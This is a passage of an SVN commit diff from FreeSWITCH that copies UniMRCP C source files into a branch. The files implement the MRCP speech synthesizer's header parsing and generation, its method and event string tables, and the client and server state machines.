+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_state_machine.h"
+#include "mrcp_synth_state_machine.h"
+#include "mrcp_message.h"
+
+
+/** Update state according to request received from user level or response/event received from MRCP server */
+static apt_bool_t synth_state_update(mrcp_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	/* no actual state machine processing yet, dispatch whatever received */
+	return state_machine->on_dispatch(state_machine,message);
+}
+
+/** Create MRCP synthesizer client state machine */
+mrcp_state_machine_t* mrcp_synth_client_state_machine_create(void *obj, mrcp_version_e version, apr_pool_t *pool)
+{
+	mrcp_state_machine_t *state_machine = apr_palloc(pool,sizeof(mrcp_state_machine_t));
+	mrcp_state_machine_init(state_machine,obj);
+	state_machine->update = synth_state_update;
+	return state_machine;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_header.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_header.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_header.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_header.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_header.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,559 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include "mrcp_synth_header.h"
+
+/** String table of MRCP synthesizer headers (mrcp_synthesizer_header_id) */
+static const apt_str_table_item_t synth_header_string_table[] = {
+	{{"Jump-Size",            9},0},
+	{{"Kill-On-Barge-In",    16},0},
+	{{"Speaker-Profile",     15},8},
+	{{"Completion-Cause",    16},16},
+	{{"Completion-Reason",   17},13},
+	{{"Voice-Gender",        12},6},
+	{{"Voice-Age",            9},6},
+	{{"Voice-Variant",       13},6},
+	{{"Voice-Name",          10},8},
+	{{"Prosody-Volume",      14},8},
+	{{"Prosody-Rate",        12},12},
+	{{"Speech-Marker",       13},7},
+	{{"Speech-Language",     15},7},
+	{{"Fetch-Hint",          10},2},
+	{{"Audio-Fetch-Hint",    16},0},
+	{{"Failed-Uri",          10},10},
+	{{"Failed-Uri_Cause",    16},10},
+	{{"Speak-Restart",       13},13},
+	{{"Speak-Length",        12},6},
+	{{"Load-Lexicon",        12},2},
+	{{"Lexicon-Search-Order",20},2}
+};
+
+/** String table of MRCP speech-unit fields (mrcp_speech_unit_t) */
+static const apt_str_table_item_t speech_unit_string_table[] = {
+	{{"Second",   6},2},
+	{{"Word",     4},0},
+	{{"Sentence", 8},2},
+	{{"Paragraph",9},0}
+};
+
+/** String table of MRCP voice-gender fields (mrcp_voice_gender_t) */
+static const apt_str_table_item_t voice_gender_string_table[] = {
+	{{"male",   4},0},
+	{{"female", 6},0},
+	{{"neutral",7},0}
+};
+
+/** String table of MRCP prosody-volume fields (mrcp_prosody_volume_t) */
+static const apt_str_table_item_t prosody_volume_string_table[] = {
+	{{"silent", 6},1},
+	{{"x-soft", 6},2},
+	{{"soft",   4},3},
+	{{"medium", 6},0},
+	{{"loud",   4},0},
+	{{"x-loud", 6},5},
+	{{"default",7},0} 
+};
+
+/** String table of MRCP prosody-rate fields (mrcp_prosody_rate_t) */
+static const apt_str_table_item_t prosody_rate_string_table[] = {
+	{{"x-slow", 6},3},
+	{{"slow",   4},0},
+	{{"medium", 6},0},
+	{{"fast",   4},0},
+	{{"x-fast", 6},4},
+	{{"default",7},0}
+};
+
+/** String table of MRCP synthesizer completion-cause fields (mrcp_synthesizer_completion_cause_t) */
+static const apt_str_table_item_t completion_cause_string_table[] = {
+	{{"normal",               6},0},
+	{{"barge-in",             8},0},
+	{{"parse-failure",       13},0},
+	{{"uri-failure",         11},0},
+	{{"error",                5},0},
+	{{"language-unsupported",20},4},
+	{{"lexicon-load-failure",20},1},
+	{{"cancelled",            9},0}
+};
+
+
+static APR_INLINE apr_size_t apt_string_table_value_parse(const apt_str_table_item_t *string_table, size_t count, const apt_str_t *value)
+{
+	return apt_string_table_id_find(string_table,count,value);
+}
+
+static apt_bool_t apt_string_table_value_generate(const apt_str_table_item_t *string_table, size_t count, size_t id, apt_text_stream_t *stream)
+{
+	const apt_str_t *name = apt_string_table_str_get(string_table,count,id);
+	if(!name) {
+		return FALSE;
+	}
+
+	memcpy(stream->pos,name->buf,name->length);
+	stream->pos += name->length;
+	return TRUE;
+}
+
+/** Parse MRCP prosody-rate value */
+static apt_bool_t mrcp_prosody_param_rate_parse(mrcp_prosody_rate_t *prosody_rate, const apt_str_t *value, apr_pool_t *pool)
+{
+	if(!value->length) {
+		return FALSE;
+	}
+
+	/** For the rate attribute, relative changes are a number. (not preceded by a "+" or "-")(w3c ssml)*/
+	if('0'<=value->buf[0] && value->buf[0]<='9') {
+		prosody_rate->type = PROSODY_RATE_TYPE_RELATIVE_CHANGE;
+	}
+	else {
+		prosody_rate->type = PROSODY_RATE_TYPE_LABEL;
+	}
+
+	if(prosody_rate->type == PROSODY_RATE_TYPE_RELATIVE_CHANGE) {
+		prosody_rate->value.relative = apt_float_value_parse(value);
+	}
+	else {
+		prosody_rate->value.label = apt_string_table_value_parse(prosody_rate_string_table,PROSODY_RATE_COUNT,value);
+	}
+
+	return TRUE;
+}
+
+/** Generate MRCP prosody-rate value */
+static apt_bool_t mrcp_prosody_rate_generate(mrcp_prosody_rate_t *prosody_rate, apt_text_stream_t *stream)
+{
+	if(prosody_rate->type == PROSODY_RATE_TYPE_LABEL) {
+		apt_string_table_value_generate(prosody_rate_string_table,PROSODY_RATE_COUNT,prosody_rate->value.label,stream);
+	}
+	else {
+		apt_float_value_generate(prosody_rate->value.relative, stream);
+	}
+
+	return TRUE;
+}
+
+/** Parse MRCP prosody-volume value */
+static apt_bool_t mrcp_prosody_param_volume_parse(mrcp_prosody_volume_t *prosody_volume, const apt_str_t *value, apr_pool_t *pool)
+{
+	if(!value->length) {
+		return FALSE;
+	}
+
+	/** For the volume attribute, relative changes are a number preceded by "+" or "-" (w3c ssml)*/
+	if(value->buf[0]=='+' || value->buf[0]=='-') {
+		prosody_volume->type = PROSODY_VOLUME_TYPE_RELATIVE_CHANGE;
+	}
+	else if('0'<=value->buf[0] && value->buf[0]<='9') {
+		prosody_volume->type = PROSODY_VOLUME_TYPE_NUMERIC;
+	}
+	else {
+		prosody_volume->type = PROSODY_VOLUME_TYPE_LABEL;
+	}
+
+	if(prosody_volume->type == PROSODY_VOLUME_TYPE_RELATIVE_CHANGE) {
+		prosody_volume->value.relative = apt_float_value_parse(value);
+	}
+	else if(prosody_volume->type == PROSODY_VOLUME_TYPE_NUMERIC) {
+		prosody_volume->value.numeric = apt_float_value_parse(value);
+	}
+	else {
+		prosody_volume->value.label = apt_string_table_value_parse(prosody_volume_string_table,PROSODY_VOLUME_COUNT,value);
+	}
+
+	return TRUE;
+}
+
+/** Generate MRCP prosody-volume value */
+static apt_bool_t mrcp_prosody_volume_generate(mrcp_prosody_volume_t *prosody_volume, apt_text_stream_t *stream)
+{
+	if(prosody_volume->type == PROSODY_VOLUME_TYPE_LABEL) {
+		apt_string_table_value_generate(prosody_volume_string_table,PROSODY_VOLUME_COUNT,prosody_volume->value.label,stream);
+	}
+	else if (prosody_volume->type == PROSODY_VOLUME_TYPE_NUMERIC) {
+		apt_float_value_generate(prosody_volume->value.numeric, stream);
+	}
+	else {
+		apt_float_value_generate(prosody_volume->value.relative, stream);
+	}
+
+	return TRUE;
+}
+
+/** Parse MRCP speech-length value */
+static apt_bool_t mrcp_speech_length_value_parse(mrcp_speech_length_value_t *speech_length, const apt_str_t *value, apr_pool_t *pool)
+{
+	if(!value->length) {
+		return FALSE;
+	}
+
+	switch(*value->buf) {
+		case '+': speech_length->type = SPEECH_LENGTH_TYPE_NUMERIC_POSITIVE; break;
+		case '-': speech_length->type = SPEECH_LENGTH_TYPE_NUMERIC_NEGATIVE; break;
+		default : speech_length->type = SPEECH_LENGTH_TYPE_TEXT;
+	}
+
+	if(speech_length->type == SPEECH_LENGTH_TYPE_TEXT) {
+		apt_string_copy(&speech_length->value.tag,value,pool);
+	}
+	else {
+		mrcp_numeric_speech_length_t *numeric = &speech_length->value.numeric;
+		apt_str_t str;
+		apt_text_stream_t stream;
+		stream.text = *value;
+		stream.pos = stream.text.buf;
+		stream.pos++;
+		if(apt_text_field_read(&stream,APT_TOKEN_SP,TRUE,&str) == FALSE) {
+			return FALSE;
+		}
+		numeric->length = apt_size_value_parse(&str);
+
+		if(apt_text_field_read(&stream,APT_TOKEN_SP,TRUE,&str) == FALSE) {
+			return FALSE;
+		}
+		numeric->unit = apt_string_table_value_parse(speech_unit_string_table,SPEECH_UNIT_COUNT,&str);
+	}
+	return TRUE;
+}
+
+/** Generate MRCP speech-length value */
+static apt_bool_t mrcp_speech_length_generate(mrcp_speech_length_value_t *speech_length, apt_text_stream_t *stream)
+{
+	if(speech_length->type == SPEECH_LENGTH_TYPE_TEXT) {
+		apt_str_t *tag = &speech_length->value.tag;
+		if(tag->length) {
+			memcpy(stream->pos,tag->buf,tag->length);
+			stream->pos += tag->length;
+		}
+	}
+	else {
+		if(speech_length->type == SPEECH_LENGTH_TYPE_NUMERIC_POSITIVE) {
+			*stream->pos++ = '+';
+		}
+		else {
+			*stream->pos++ = '-';
+		}
+		apt_size_value_generate(speech_length->value.numeric.length,stream);
+		*stream->pos++ = ' ';
+		apt_string_table_value_generate(speech_unit_string_table,SPEECH_UNIT_COUNT,speech_length->value.numeric.unit,stream);
+	}
+	return TRUE;
+}
+
+/** Generate MRCP synthesizer completion-cause */
+static apt_bool_t mrcp_completion_cause_generate(mrcp_synth_completion_cause_e completion_cause, apt_text_stream_t *stream)
+{
+	int length;
+	const apt_str_t *name = apt_string_table_str_get(completion_cause_string_table,SYNTHESIZER_COMPLETION_CAUSE_COUNT,completion_cause);
+	if(!name) {
+		return FALSE;
+	}
+	length = sprintf(stream->pos,"%03"APR_SIZE_T_FMT" ",completion_cause);
+	if(length <= 0) {
+		return FALSE;
+	}
+	stream->pos += length;
+
+	memcpy(stream->pos,name->buf,name->length);
+	stream->pos += name->length;
+	return TRUE;
+}
+
+/** Initialize synthesizer header */
+static void mrcp_synth_header_init(mrcp_synth_header_t *synth_header)
+{
+	synth_header->jump_size.type = SPEECH_LENGTH_TYPE_UNKNOWN;
+	synth_header->kill_on_barge_in = FALSE;
+	apt_string_reset(&synth_header->speaker_profile);
+	synth_header->completion_cause = SYNTHESIZER_COMPLETION_CAUSE_UNKNOWN;
+	apt_string_reset(&synth_header->completion_reason);
+	synth_header->voice_param.gender = VOICE_GENDER_UNKNOWN;
+	synth_header->voice_param.age = 0;
+	synth_header->voice_param.variant = 0;
+	apt_string_reset(&synth_header->voice_param.name);
+	synth_header->prosody_param.volume.type = PROSODY_VOLUME_TYPE_UNKNOWN;
+	synth_header->prosody_param.rate.type = PROSODY_RATE_TYPE_UNKNOWN;
+	apt_string_reset(&synth_header->speech_marker);
+	apt_string_reset(&synth_header->speech_language);
+	apt_string_reset(&synth_header->fetch_hint);
+	apt_string_reset(&synth_header->audio_fetch_hint);
+	apt_string_reset(&synth_header->failed_uri);
+	apt_string_reset(&synth_header->failed_uri_cause);
+	synth_header->speak_restart = FALSE;
+	synth_header->speak_length.type = SPEECH_LENGTH_TYPE_UNKNOWN;
+	synth_header->load_lexicon = FALSE;
+	apt_string_reset(&synth_header->lexicon_search_order);
+}
+
+
+/** Allocate MRCP synthesizer header */
+static void* mrcp_synth_header_allocate(mrcp_header_accessor_t *accessor, apr_pool_t *pool)
+{
+	mrcp_synth_header_t *synth_header = apr_palloc(pool,sizeof(mrcp_synth_header_t));
+	mrcp_synth_header_init(synth_header);
+	accessor->data = synth_header;
+	return accessor->data;
+}
+
+/** Parse MRCP synthesizer header */
+static apt_bool_t mrcp_synth_header_parse(mrcp_header_accessor_t *accessor, size_t id, const apt_str_t *value, apr_pool_t *pool)
+{
+	apt_bool_t status = TRUE;
+	mrcp_synth_header_t *synth_header = accessor->data;
+	switch(id) {
+		case SYNTHESIZER_HEADER_JUMP_SIZE:
+			mrcp_speech_length_value_parse(&synth_header->jump_size,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_KILL_ON_BARGE_IN:
+			apt_boolean_value_parse(value,&synth_header->kill_on_barge_in);
+			break;
+		case SYNTHESIZER_HEADER_SPEAKER_PROFILE:
+			apt_string_copy(&synth_header->speaker_profile,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_COMPLETION_CAUSE:
+			synth_header->completion_cause = apt_size_value_parse(value);
+			break;
+		case SYNTHESIZER_HEADER_COMPLETION_REASON:
+			apt_string_copy(&synth_header->completion_reason,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_VOICE_GENDER:
+			synth_header->voice_param.gender = apt_string_table_value_parse(voice_gender_string_table,VOICE_GENDER_COUNT,value);
+			break;
+		case SYNTHESIZER_HEADER_VOICE_AGE:
+			synth_header->voice_param.age = apt_size_value_parse(value);
+			break;
+		case SYNTHESIZER_HEADER_VOICE_VARIANT:
+			synth_header->voice_param.variant = apt_size_value_parse(value);
+			break;
+		case SYNTHESIZER_HEADER_VOICE_NAME:
+			apt_string_copy(&synth_header->voice_param.name,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_PROSODY_VOLUME:
+			mrcp_prosody_param_volume_parse(&synth_header->prosody_param.volume,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_PROSODY_RATE:
+			mrcp_prosody_param_rate_parse(&synth_header->prosody_param.rate,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_SPEECH_MARKER:
+			apt_string_copy(&synth_header->speech_marker,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_SPEECH_LANGUAGE:
+			apt_string_copy(&synth_header->speech_language,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_FETCH_HINT:
+			apt_string_copy(&synth_header->fetch_hint,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_AUDIO_FETCH_HINT:
+			apt_string_copy(&synth_header->audio_fetch_hint,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_FAILED_URI:
+			apt_string_copy(&synth_header->failed_uri,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_FAILED_URI_CAUSE:
+			apt_string_copy(&synth_header->failed_uri_cause,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_SPEAK_RESTART:
+			apt_boolean_value_parse(value,&synth_header->speak_restart);
+			break;
+		case SYNTHESIZER_HEADER_SPEAK_LENGTH:
+			mrcp_speech_length_value_parse(&synth_header->speak_length,value,pool);
+			break;
+		case SYNTHESIZER_HEADER_LOAD_LEXICON:
+			apt_boolean_value_parse(value,&synth_header->load_lexicon);
+			break;
+		case SYNTHESIZER_HEADER_LEXICON_SEARCH_ORDER:
+			apt_string_copy(&synth_header->lexicon_search_order,value,pool);
+			break;
+		default:
+			status = FALSE;
+	}
+	return status;
+}
+
+/** Generate MRCP synthesizer header */
+static apt_bool_t mrcp_synth_header_generate(mrcp_header_accessor_t *accessor, size_t id, apt_text_stream_t *value)
+{
+	mrcp_synth_header_t *synth_header = accessor->data;
+	switch(id) {
+		case SYNTHESIZER_HEADER_JUMP_SIZE:
+			mrcp_speech_length_generate(&synth_header->jump_size,value);
+			break;
+		case SYNTHESIZER_HEADER_KILL_ON_BARGE_IN:
+			apt_boolean_value_generate(synth_header->kill_on_barge_in,value);
+			break;
+		case SYNTHESIZER_HEADER_SPEAKER_PROFILE:
+			apt_string_value_generate(&synth_header->speaker_profile,value);
+			break;
+		case SYNTHESIZER_HEADER_COMPLETION_CAUSE:
+			mrcp_completion_cause_generate(synth_header->completion_cause,value);
+			break;
+		case SYNTHESIZER_HEADER_COMPLETION_REASON:
+			apt_string_value_generate(&synth_header->completion_reason,value);
+			break;
+		case SYNTHESIZER_HEADER_VOICE_GENDER:
+			apt_string_table_value_generate(voice_gender_string_table,VOICE_GENDER_COUNT,synth_header->voice_param.gender,value);
+			break;
+		case SYNTHESIZER_HEADER_VOICE_AGE:
+			apt_size_value_generate(synth_header->voice_param.age,value);
+			break;
+		case SYNTHESIZER_HEADER_VOICE_VARIANT:
+			apt_size_value_generate(synth_header->voice_param.variant,value);
+			break;
+		case SYNTHESIZER_HEADER_VOICE_NAME:
+			apt_string_value_generate(&synth_header->voice_param.name,value);
+			break;
+		case SYNTHESIZER_HEADER_PROSODY_VOLUME:
+			mrcp_prosody_volume_generate(&synth_header->prosody_param.volume,value);
+			break;
+		case SYNTHESIZER_HEADER_PROSODY_RATE:
+			mrcp_prosody_rate_generate(&synth_header->prosody_param.rate,value);
+			break;
+		case SYNTHESIZER_HEADER_SPEECH_MARKER:
+			apt_string_value_generate(&synth_header->speech_marker,value);
+			break;
+		case SYNTHESIZER_HEADER_SPEECH_LANGUAGE:
+			apt_string_value_generate(&synth_header->speech_language,value);
+			break;
+		case SYNTHESIZER_HEADER_FETCH_HINT:
+			apt_string_value_generate(&synth_header->fetch_hint,value);
+			break;
+		case SYNTHESIZER_HEADER_AUDIO_FETCH_HINT:
+			apt_string_value_generate(&synth_header->audio_fetch_hint,value);
+			break;
+		case SYNTHESIZER_HEADER_FAILED_URI:
+			apt_string_value_generate(&synth_header->failed_uri,value);
+			break;
+		case SYNTHESIZER_HEADER_FAILED_URI_CAUSE:
+			apt_string_value_generate(&synth_header->failed_uri_cause,value);
+			break;
+		case SYNTHESIZER_HEADER_SPEAK_RESTART:
+			apt_boolean_value_generate(synth_header->speak_restart,value);
+			break;
+		case SYNTHESIZER_HEADER_SPEAK_LENGTH:
+			mrcp_speech_length_generate(&synth_header->speak_length,value);
+			break;
+		case SYNTHESIZER_HEADER_LOAD_LEXICON:
+			apt_boolean_value_generate(synth_header->load_lexicon,value);
+			break;
+		case SYNTHESIZER_HEADER_LEXICON_SEARCH_ORDER:
+			apt_string_value_generate(&synth_header->lexicon_search_order,value);
+			break;
+		default:
+			break;
+	}
+	return TRUE;
+}
+
+/** Duplicate MRCP synthesizer header */
+static apt_bool_t mrcp_synth_header_duplicate(mrcp_header_accessor_t *accessor, const mrcp_header_accessor_t *src, size_t id, apr_pool_t *pool)
+{
+	mrcp_synth_header_t *synth_header = accessor->data;
+	const mrcp_synth_header_t *src_synth_header = src->data;
+	apt_bool_t status = TRUE;
+
+	if(!synth_header || !src_synth_header) {
+		return FALSE;
+	}
+
+	switch(id) {
+		case SYNTHESIZER_HEADER_JUMP_SIZE:
+			synth_header->jump_size = src_synth_header->jump_size;
+			break;
+		case SYNTHESIZER_HEADER_KILL_ON_BARGE_IN:
+			synth_header->kill_on_barge_in = src_synth_header->kill_on_barge_in;
+			break;
+		case SYNTHESIZER_HEADER_SPEAKER_PROFILE:
+			apt_string_copy(&synth_header->speaker_profile,&src_synth_header->speaker_profile,pool);
+			break;
+		case SYNTHESIZER_HEADER_COMPLETION_CAUSE:
+			synth_header->completion_cause = src_synth_header->completion_cause;
+			break;
+		case SYNTHESIZER_HEADER_COMPLETION_REASON:
+			apt_string_copy(&synth_header->completion_reason,&src_synth_header->completion_reason,pool);
+			break;
+		case SYNTHESIZER_HEADER_VOICE_GENDER:
+			synth_header->voice_param.gender = src_synth_header->voice_param.gender;
+			break;
+		case SYNTHESIZER_HEADER_VOICE_AGE:
+			synth_header->voice_param.age = src_synth_header->voice_param.age;
+			break;
+		case SYNTHESIZER_HEADER_VOICE_VARIANT:
+			synth_header->voice_param.variant = src_synth_header->voice_param.variant;
+			break;
+		case SYNTHESIZER_HEADER_VOICE_NAME:
+			apt_string_copy(&synth_header->voice_param.name,&src_synth_header->voice_param.name,pool);
+			break;
+		case SYNTHESIZER_HEADER_PROSODY_VOLUME:
+			synth_header->prosody_param.volume = src_synth_header->prosody_param.volume;
+			break;
+		case SYNTHESIZER_HEADER_PROSODY_RATE:
+			synth_header->prosody_param.rate = src_synth_header->prosody_param.rate;
+			break;
+		case SYNTHESIZER_HEADER_SPEECH_MARKER:
+			apt_string_copy(&synth_header->speech_marker,&src_synth_header->speech_marker,pool);
+			break;
+		case SYNTHESIZER_HEADER_SPEECH_LANGUAGE:
+			apt_string_copy(&synth_header->speech_language,&src_synth_header->speech_language,pool);
+			break;
+		case SYNTHESIZER_HEADER_FETCH_HINT:
+			apt_string_copy(&synth_header->fetch_hint,&src_synth_header->fetch_hint,pool);
+			break;
+		case SYNTHESIZER_HEADER_AUDIO_FETCH_HINT:
+			apt_string_copy(&synth_header->audio_fetch_hint,&src_synth_header->audio_fetch_hint,pool);
+			break;
+		case SYNTHESIZER_HEADER_FAILED_URI:
+			apt_string_copy(&synth_header->failed_uri,&src_synth_header->failed_uri,pool);
+			break;
+		case SYNTHESIZER_HEADER_FAILED_URI_CAUSE:
+			apt_string_copy(&synth_header->failed_uri_cause,&src_synth_header->failed_uri_cause,pool);
+			break;
+		case SYNTHESIZER_HEADER_SPEAK_RESTART:
+			synth_header->speak_restart = src_synth_header->speak_restart;
+			break;
+		case SYNTHESIZER_HEADER_SPEAK_LENGTH:
+			synth_header->speak_length = src_synth_header->speak_length;
+			break;
+		case SYNTHESIZER_HEADER_LOAD_LEXICON:
+			synth_header->load_lexicon = src_synth_header->load_lexicon;
+			break;
+		case SYNTHESIZER_HEADER_LEXICON_SEARCH_ORDER:
+			apt_string_copy(&synth_header->lexicon_search_order,&src_synth_header->lexicon_search_order,pool);
+			break;
+		default:
+			status = FALSE;
+	}
+	return status;
+}
+
+static const mrcp_header_vtable_t vtable = {
+	mrcp_synth_header_allocate,
+	NULL, /* nothing to destroy */
+	mrcp_synth_header_parse,
+	mrcp_synth_header_generate,
+	mrcp_synth_header_duplicate,
+	synth_header_string_table,
+	SYNTHESIZER_HEADER_COUNT
+};
+
+MRCP_DECLARE(const mrcp_header_vtable_t*) mrcp_synth_header_vtable_get(mrcp_version_e version)
+{
+	return &vtable;
+}
+
+MRCP_DECLARE(const apt_str_t*) mrcp_synth_completion_cause_get(mrcp_synth_completion_cause_e completion_cause, mrcp_version_e version)
+{
+	return apt_string_table_str_get(completion_cause_string_table,SYNTHESIZER_COMPLETION_CAUSE_COUNT,completion_cause);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_resource.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_resource.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_resource.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_resource.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_resource.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,113 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_synth_resource.h"
+#include "mrcp_synth_header.h"
+#include "mrcp_synth_state_machine.h"
+#include "mrcp_resource.h"
+#include "mrcp_message.h"
+
+/** String table of MRCP synthesizer methods (mrcp_synthesizer_method_id) */
+static const apt_str_table_item_t synth_method_string_table[] = {
+	{{"SET-PARAMS",       10},10},
+	{{"GET-PARAMS",       10},0},
+	{{"SPEAK",             5},1},
+	{{"STOP",              4},1},
+	{{"PAUSE",             5},0},
+	{{"RESUME",            6},0},
+	{{"BARGE-IN-OCCURRED",17},0},
+	{{"CONTROL",           7},0},
+	{{"DEFINE-LEXICON",   14},0}
+};
+
+/** String table of MRCP synthesizer events (mrcp_synthesizer_event_id) */
+static const apt_str_table_item_t synth_event_string_table[] = {
+	{{"SPEECH-MARKER", 13},3},
+	{{"SPEAK-COMPLETE",14},3}
+};
+
+/** Set resource specifica data */
+static apt_bool_t synth_message_resourcify_by_id(mrcp_resource_t *resource, mrcp_message_t *message)
+{
+	/* associate method_name and method_id */
+	if(message->start_line.message_type == MRCP_MESSAGE_TYPE_REQUEST) {
+		const apt_str_t *name = apt_string_table_str_get(
+			synth_method_string_table,
+			SYNTHESIZER_METHOD_COUNT,
+			message->start_line.method_id);
+		if(!name) {
+			return FALSE;
+		}
+		message->start_line.method_name = *name;
+	}
+	else if(message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		const apt_str_t *name = apt_string_table_str_get(
+			synth_event_string_table,
+			SYNTHESIZER_EVENT_COUNT,
+			message->start_line.method_id);
+		if(!name) {
+			return FALSE;
+		}
+		message->start_line.method_name = *name;
+	}
+
+	message->header.resource_header_accessor.vtable = 
+		mrcp_synth_header_vtable_get(message->start_line.version);
+	return TRUE;
+}
+
+/** Set resource specifica data */
+static apt_bool_t synth_message_resourcify_by_name(mrcp_resource_t *resource, mrcp_message_t *message)
+{
+	/* associate method_name and method_id */
+	if(message->start_line.message_type == MRCP_MESSAGE_TYPE_REQUEST) {
+		message->start_line.method_id = apt_string_table_id_find(
+			synth_method_string_table,
+			SYNTHESIZER_METHOD_COUNT,
+			&message->start_line.method_name);
+		if(message->start_line.method_id >= SYNTHESIZER_METHOD_COUNT) {
+			return FALSE;
+		}
+	}
+	else if(message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		message->start_line.method_id = apt_string_table_id_find(
+			synth_event_string_table,
+			SYNTHESIZER_EVENT_COUNT,
+			&message->start_line.method_name);
+		if(message->start_line.method_id >= SYNTHESIZER_EVENT_COUNT) {
+			return FALSE;
+		}
+	}
+
+	message->header.resource_header_accessor.vtable = 
+		mrcp_synth_header_vtable_get(message->start_line.version);
+	return TRUE;
+}
+
+
+/** Create MRCP synthesizer resource */
+MRCP_DECLARE(mrcp_resource_t*) mrcp_synth_resource_create(apr_pool_t *pool)
+{
+	mrcp_resource_t *resource = apr_palloc(pool,sizeof(mrcp_resource_t));
+	mrcp_resource_init(resource);
+
+	resource->resourcify_message_by_id = synth_message_resourcify_by_id;
+	resource->resourcify_message_by_name = synth_message_resourcify_by_name;
+
+	resource->create_client_state_machine = mrcp_synth_client_state_machine_create;
+	resource->create_server_state_machine = mrcp_synth_server_state_machine_create;
+	return resource;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_server_state_machine.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_server_state_machine.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_server_state_machine.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_server_state_machine.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_synth_server_state_machine.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,597 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_obj_list.h"
+#include "apt_log.h"
+#include "mrcp_state_machine.h"
+#include "mrcp_synth_state_machine.h"
+#include "mrcp_synth_header.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_synth_resource.h"
+#include "mrcp_message.h"
+
+/** MRCP synthesizer states */
+typedef enum {
+	SYNTHESIZER_STATE_IDLE,
+	SYNTHESIZER_STATE_SPEAKING,
+	SYNTHESIZER_STATE_PAUSED,
+
+	SYNTHESIZER_STATE_COUNT
+} mrcp_synth_state_e;
+
+static const char * state_names[SYNTHESIZER_STATE_COUNT] = {
+	"IDLE",
+	"SPEAKING",
+	"PAUSED"
+};
+
+typedef struct mrcp_synth_state_machine_t mrcp_synth_state_machine_t;
+struct mrcp_synth_state_machine_t {
+	/** state machine base */
+	mrcp_state_machine_t  base;
+	/** synthesizer state */
+	mrcp_synth_state_e    state;
+	/** indicate whether active_request was processed from pending request queue */
+	apt_bool_t            is_pending;
+	/** request sent to synthesizer engine and waiting for the response to be received */
+	mrcp_message_t       *active_request;
+	/** in-progress speak request */
+	mrcp_message_t       *speaker;
+	/** queue of pending speak requests */
+	apt_obj_list_t       *queue;
+	/** properties used in set/get params */
+	mrcp_message_header_t properties;
+};
+
+typedef apt_bool_t (*synth_method_f)(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message);
+
+static APR_INLINE apt_bool_t synth_request_dispatch(mrcp_synth_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	state_machine->active_request = message;
+	return state_machine->base.on_dispatch(&state_machine->base,message);
+}
+
